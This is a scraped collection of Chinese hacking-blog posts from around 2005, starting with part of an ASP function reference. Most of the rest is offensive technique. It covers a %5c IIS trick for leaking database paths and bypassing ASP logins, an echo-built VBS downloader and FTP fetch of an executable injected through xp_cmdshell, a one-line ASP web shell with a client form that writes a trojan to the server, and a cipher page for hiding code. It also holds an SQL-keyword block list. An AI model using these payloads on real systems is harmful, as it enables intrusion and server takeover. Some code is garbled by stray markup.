  ARGUMENTS: dimension (optional) 指定返回哪一维上界的整数。1 表示第一维,2 表示第二维,以此类推。如果省略 dimension 参数,则默认值为 1.
  EXAMPLE: <%
  i = Array("Monday","Tuesday","Wednesday")
  response.write UBound(i)
  %[/IMG]
  RESULT: 2

UCase()
  FUNCTION: 返回字符串的大写形式.
  SYNTAX: UCase(string)
  ARGUMENTS:
  EXAMPLE: <%
  strTest = "This is a test!!"
  response.write UCase(strTest)
  %[/IMG]
  RESULT: THIS IS A TEST!!

VarType()
  FUNCTION: 返回指示变量子类型的值
  SYNTAX: VarType(varName)
  ARGUMENTS:
  EXAMPLE: <%
  i = 3
  response.write varType(i)
  %[/IMG]
  RESULT: 2(数字)详见"asp常数"

WeekDay()
  FUNCTION: 返回在一周的第几天.
  SYNTAX: WeekDay(date [, firstdayofweek[/IMG])
  ARGUMENTS: .
  EXAMPLE: <%
  d = #8/4/99#
  response.write Weekday(d)
  %[/IMG]
  RESULT: 4(星期三)

WeekDayName()
FUNCTION: 返回一周第几天的名字.
SYNTAX: WeekDayName(weekday [, Abb [, firstdayofweek[/IMG][/IMG])
ARGUMENTS: Abb可选。Boolean 值,指明是否缩写表示星期各天的名称。如果省略, 默认值为 False,即不缩写星期各天的名称.firstdayofweek指明星期第一天的数值
EXAMPLE: <%
d = #8/4/99#
response.write WeekdayName(Weekday(d))
%[/IMG]
RESULT: Wednesday

Year()
  FUNCTION: 返回当前的年份.
  SYNTAX: Year(date)
  ARGUMENTS:
  EXAMPLE: <%=Year(#8/4/99#)%[/IMG]
  RESULT: 1999

说到%5c,你是不是想起了当前流行的那个%5c暴库漏洞,呵呵,本文就是对%5c利用的探索(呵呵,当然有我提出的新东东,或许对你有帮助哦^_^)。

好,我们先追根溯源,找到那个漏洞的老底。看看绿盟2001年的漏洞公告:_bug&do=view&bug_id=1429">http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=1429

N年以前利用这个漏洞可以实现目录遍历,虽然微软出了补丁,不过好像补丁是用来限制iis只能访问虚拟目录的,所以漏洞还是存在,只不过利用方式变了。对iis来说,提交一个含有%5c的url能够找到文件,但是该文件里以相对路径引用的其他文件却找不到了(%5c是\的url编码,iis跳转到上一级目录去找,当然找不到;头晕了吧,哈哈,我也头晕啊)。

后来这个漏洞就被牛人挖掘出来了,也就是传说中的%5c暴库:由于连接数据库的文件引用的相对路径,提交%5c找不到文件,所以导致出错,iis就会老老实实的说出数据库的路径(不明白?找google)。

一个偶然的机会我发现还可以利用%5c绕过asp的验证;当我们暴库失败的时候不妨试试。

废话少说,看下面的代码:



程序代码:

<!–#INCLUDE file="conn.asp" –>
<%
guest_user=trim(request("guest_user"))
guest_password=trim(request("guest_password"))
Set rs= Server.createObject("ADODB.Recordset")
sql="select * from admin where id=1" 
rs.open sql,conn,3,2
readuser=rs("guest_user")
readpassword=rs("guest_password")
if readuser<>guest_user or readpassword<>guest_password then
response.write "请输入正确地管理员密码!"
response.end
else
session("admin")=1 ’登陆后写入seesion中保存
response.write("登陆成功,请返回信息页")
end if
%>




看到没有,要想通过验证必须让数据库里的用户名密码与提交的一致;想到什么?让我们再看看数据库连接文件代码:



程序代码:

<%
on error resume next
set conn=server.createobject("adodb.connection")
DBPath = Server.MapPath("guestbook.asp")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
%>



啊,有容错语句不能暴库!等等,如果提交%5c数据库找不到,由于容错,所以程序会继续执行,那么说来从数据库得到的用户名密码皆为空(想想有时暴库失败是不是看到空空的框架,因为数据都是空嘛),哈哈,这样我们就绕过验证了!

知道怎么做了吧,把登陆页面保存到本地,修改提交的url,把最后一个/改成%5c,用户名密码用空格(有的程序会检查用户名密码是否为空,空格会被程序过滤),提交,就ok了。

诶,各位不要以为我自己没事写段代码来捣鼓,实际上这个是我们学校一个高手做的留言板程序,就挂在学校的主页,呵呵。

既然弄懂了原理,当然要找实际漏洞啦,自然是拿大名鼎鼎的"洞"网论坛开刀。不过失败了,因为它的数据库连接文件里有这么一段:


程序代码:

If Err Then
err.Clear
Set Conn = Nothing
Response.Write "数据库连接出错,请检查连接字串。"
Response.End
End If



数据库找不到程序就结束了,呵呵,空欢喜一场。

接着又去down了bbsxp论坛,打开数据库连接文件,晕,根本没有容错语句;呵呵,不过可以暴库哦。

我又不是BT,所以不去找事了,写篇文章,算是给各位高手提供资料吧。

总结一下这个攻击方法成功的条件:1、数据库连接用的相对路径且仅有简单的容错语句;2、服务器iis版本为4或5;3、程序里不检查空字符或者检查时不过滤空格而比较时过滤空格;4、程序不能位于一级目录

至于防范,呵呵,既然攻击条件知道了,防范措施自然也出来了^_^

文章作者:zzzevazzz
信息来源:http://zzzevazzz.blogchina.com/

Windows脚本可以调用MSWinsock控件获得比较强大的网络访问能力,但那个106KB的mswinsck.ocx(V6.0.89.88)不是系统自带的,这使得该控件的实用性大打折扣。而且,脚本要调用MSWinsock还必须克服一个困难。
  以"MSWinsock"为关键字,使用百度搜索网页,可以获得至少3个VBS调用MSWinsock控件的例子:获取本机IP、端口扫描和发在"黑防"的《VBS+MSWinsock打造灵巧UDP后门》。但是,当你下载并注册mswinsck.ocx,然后尝试那些代码时,却会得到一个"类别未授权使用(Class is not licensed for use)"错误,错误号0×80040112。那些代码的作者似乎都以为MSWinsock和一般的控件一样,只要用regsvr32注册就能正常使用了,没有实际测试它的可移植性。而转贴文章的人,更不会关心内容是否可靠,一味地复制粘贴而已。结果,网上所有关于VBS调用MSWinsock的例子都是"空中楼阁",没有一个跑的起来。国内如此,国外也一样。所有对该控件无法使用的质疑,都被人以"需要注册"为理由打发了。当然,也有了解"真相"的人,但其给出的解决方案竟然是用VB重新写个ocx封装MSWinsock,这实在是@#$%^&!。
  那么,"真相"究竟是什么?搜索"类别未授权使用"和错误号,这是个好主意,但结果不理想。我们需要逆向思考,为什么原作者不会遇到错误。答案是原作者的mswinsck.ocx不是单独注册的,而是随VB一起安装的。其中的差别在于,后者会安装VB控件的设计时许可证(design-time license)。ActiveX控件的License有两种:设计时(design-time)和运行时(run-time)。当编译调用了某个控件的exe/dll/ocx时,编译器会自动加入该控件的运行时许可证,所以"重新写个ocx封装MSWinsock"这个办法可行。使用脚本直接调用MSWinsock时没有运行时许可证,这时脚本宿主会尝试在注册表中获取设计时许可证,单独注册的MSWinsock没有相应的设计时许可证,所以就出错了。
  在VS.NET安装盘里有VB6控件的授权密钥(\Extras\VB6 Controls\VB6Controls.reg),导入注册表后就能正常使用包括MSWinsock在内的VB6控件了。

下载mswinsck.ocx http://blog.blogchina.com/upload/2005-03-04/20050304104731909001.zip

下载VB6Controls.reg http://blog.blogchina.com/upload/2005-03-04/20050304104819709852.zip

2005年05月23日

放在conn.asp里就行了。

‘屏蔽通过地址栏攻击
url=Request.ServerVariables("QUERY_STRING")
if instr(url,";")>=1 then
url=Replace(url,";",";") : Response.Redirect("?" & url)
end if
‘屏蔽通过表单攻击
for each item in request.form
stritem=lcase(server.HTMLEncode(Request.form(item)))
if instr(stritem,"select ")>=1 or instr(stritem,"insert ")>=1 or instr(stritem,"update ")>=1 or instr(stritem,"delete ")>=1 or instr(stritem,"exec ")>=1 or instr(stritem,"declare ")>=1 then
response.write ("对不起,请不要输入非法字符!")
response.end
end if
next

今天看到一个网友的文章说注入的时候,echo多次调用的问题,很早就看到xiaolu的文章了,他说过解决办法的,今天又翻出来了,顺手贴在这儿~

echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs 

echo ftp>1.vbs 
echo open ip>2.vbs 
echo u>3.vbs 
echo s>4.vbs 
echo binary>5.vbs 
echo get 1.exe>6.vbs 
echo bay>7.vbs 

Exec Master..xp_cmdshell ’echo xxxx1 > xxx.vbs’;exec master..sp_dropextendedproc ’xp_cmdshell’-
use master dbcc addextendedproc(‘xp_cmdshell’,'xplog70.dll’)–
Exec Master..xp_cmdshell ’echo xxxx2 >> xxx.vbs’;exec master..sp_dropextendedproc ’xp_cmdshell’-
use master dbcc addextendedproc(‘xp_cmdshell’,'xplog70.dll’)–

    xiaolu的sqlcomm.exe就是用的这个原理使命令只运行一次的。

2005年05月22日

server: <%execute request("l")%>

client:

<form  action=http://ip/server.asp method=post>
<textarea name=l cols=120 rows=10 width=45>
set lp=server.CreateObject("Adodb.Stream")
lp.Open
lp.Type=2
lp.CharSet="gb2312"
lp.writetext request("p")
lp.SaveToFile server.mappath("asp.asp"),2
lp.Close
set lp=nothing
response.redirect "asp.asp"
</textarea>
<textarea name=p cols=120 rows=10 width=45>
马!
</textarea><BR><center><br>
<input type=submit value=提交>

2004年10月30日
 
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "_blank ?>http://www.w3.org/TR/html4/loose.dtd";>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>移位加密ASP by lake2</title>
</head>
<%
but=cint(request.Form("but"))           ‘这个是移位法所移的位数!
if request.QueryString("a")="1" then
     cc=replace(request.Form("nr"),"      "," ")
     cc=replace(cc,vbcrlf,"胡")         ‘这里处理回车换行符
     for i= 1 to len(cc)
           if mid(cc,i,1)<>"胡" then
                 pk=asc(mid(cc,i,1))+but
                 if pk>126 then
                       pk=pk-95
                 elseif pk<32 then
                       pk=pk+95
                 end if
                 temp=temp&chr(pk)
           else
                 temp=temp&"胡"
           end if
     next
end if
%>
<body>
<form name="form1" method="post" action="?a=1">
  <table width="100%"  border="1">
    <tr>
      <td>移位参数:
        <input name="but" type="text" id="but" value="1" size="5">
        *本程序移位参数应介于正负95之间</td>
    </tr>
    <tr>
      <td>明文内容:
        <textarea name="nr" cols="80" rows="15" id="textarea"><%=request.form("nr")%></textarea></td>
    </tr>
    <tr>
      <td><input type="submit" name="Submit" value="转换"></td>
    </tr>
    <tr>
      <td><p>结果:</p>
      <p><%=replace(temp,"""","""""")%></p></td>
    </tr>
  </table>
</form>

<hr>
<div align="center"><br>
  <a href="_blank ?>http://mrhupo.126.com"; target="_blank">by lake2</a></div>
</body>
</html>